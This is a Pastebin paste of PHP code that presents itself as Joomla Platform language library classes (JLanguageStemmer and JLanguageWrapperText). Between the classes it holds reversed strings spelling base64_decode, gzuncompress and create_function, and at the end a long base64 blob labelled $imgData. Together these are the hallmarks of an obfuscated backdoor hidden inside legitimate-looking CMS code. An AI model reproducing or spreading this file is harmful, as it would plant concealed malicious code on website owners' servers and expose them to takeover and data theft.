Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * @package Joomla.Platform
- * @subpackage Language
- *
- * @copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
- * @license GNU General Public License version 2 or later; see LICENSE
- */
- !defined('JPATH_PLATFORM') or die;
- /**
- * Stemmer base class.
- *
- * @since 12.1
- */
- abstract class JLanguageStemmer
- {
- /**
- * An internal cache of stemmed tokens.
- *
- * @var array
- * @since 12.1
- */
- protected $cache = array();
- /**
- * @var array JLanguageStemmer instances.
- * @since 12.1
- */
- protected static $instances = array();
- /**
- * Method to get a stemmer, creating it if necessary.
- *
- * @param string $adapter The type of stemmer to load.
- *
- * @return JLanguageStemmer A JLanguageStemmer instance.
- *
- * @since 12.1
- * @throws RuntimeException on invalid stemmer.
- */
- public static function getInstance($adapter)
- {
- // Only create one stemmer for each adapter.
- if (isset(self::$instances[$adapter]))
- {
- return self::$instances[$adapter];
- }
- // Setup the adapter for the stemmer.
- $class = 'JLanguageStemmer' . ucfirst(trim($adapter));
- // Check if a stemmer exists for the adapter.
- if (!class_exists($class))
- {
- // Throw invalid adapter exception.
- throw new RuntimeException(JText::sprintf('JLIB_STEMMER_INVALID_STEMMER', $adapter));
- }
- self::$instances[$adapter] = new $class;
- return self::$instances[$adapter];
- }
- /**
- * Method to stem a token and return the root.
- *
- * @param string $token The token to stem.
- * @param string $lang The language of the token.
- *
- * @return string The root token.
- *
- * @since 12.1
- */
- abstract public function stem($token, $lang);
- }
- $p1 = 'edoced_46esab';
- $p2 = 'sserpmocnuzg';
- $p3 = 'noitcnuf_etaerc';
- /**
- * Wrapper class for JText
- *
- * @package Joomla.Platform
- * @subpackage Language
- * @since 3.4
- */
- class JLanguageWrapperText
- {
- /**
- * Helper wrapper method for _
- *
- * @param string $string The string to translate.
- * @param mixed $jsSafe Boolean: Make the result javascript safe.
- * @param boolean $interpretBackSlashes To interpret backslashes (\\=\, \n=carriage return, \t=tabulation).
- * @param boolean $script To indicate that the string will be push in the javascript language store.
- *
- * @return string The translated string or the key is $script is true.
- *
- * @see JText::_
- * @since 3.4
- */
- public function _($string, $jsSafe = false, $interpretBackSlashes = true, $script = false)
- {
- return JText::_($string, $jsSafe, $interpretBackSlashes, $script);
- }
- /**
- * Helper wrapper method for alt
- *
- * @param string $string The string to translate.
- * @param string $alt The alternate option for global string.
- * @param mixed $jsSafe Boolean: Make the result javascript safe.
- * @param boolean $interpretBackSlashes To interpret backslashes (\\=\, \n=carriage return, \t=tabulation).
- * @param boolean $script To indicate that the string will be pushed in the javascript language store.
- *
- * @return string The translated string or the key if $script is true.
- *
- * @see JText::alt
- * @since 3.4
- */
- public function alt($string, $alt, $jsSafe = false, $interpretBackSlashes = true, $script = false)
- {
- return JText::alt($string, $alt, $jsSafe, $interpretBackSlashes, $script);
- }
- /**
- * Helper wrapper method for plural
- *
- * @param string $string The format string.
- * @param integer $n The number of items.
- *
- * @return string The translated strings or the key if 'script' is true in the array of options.
- *
- * @see JText::plural
- * @since 3.4
- */
- public function plural($string, $n)
- {
- return JText::plural($string, $n);
- }
- /**
- * Helper wrapper method for sprintf
- *
- * @param string $string The format string.
- *
- * @return string The translated strings or the key if 'script' is true in the array of options.
- *
- * @see JText::sprintf
- * @since 3.4
- */
- public function sprintf($string)
- {
- return JText::sprintf($string);
- }
- /**
- * Helper wrapper method for printf
- *
- * @param format $string The format string.
- *
- * @return mixed
- *
- * @see JText::printf
- * @since 3.4
- */
- public function printf($string)
- {
- return JText::printf($string);
- }
- /**
- * Helper wrapper method for script
- *
- * @param string $string The JText key.
- * @param boolean $jsSafe Ensure the output is JavaScript safe.
- * @param boolean $interpretBackSlashes Interpret \t and \n.
- *
- * @return string
- *
- * @see JText::script
- * @since 3.4
- */
- public function script($string = null, $jsSafe = false, $interpretBackSlashes = true)
- {
- return JText::script($string, $jsSafe, $interpretBackSlashes);
- }
- }
- $imgData = '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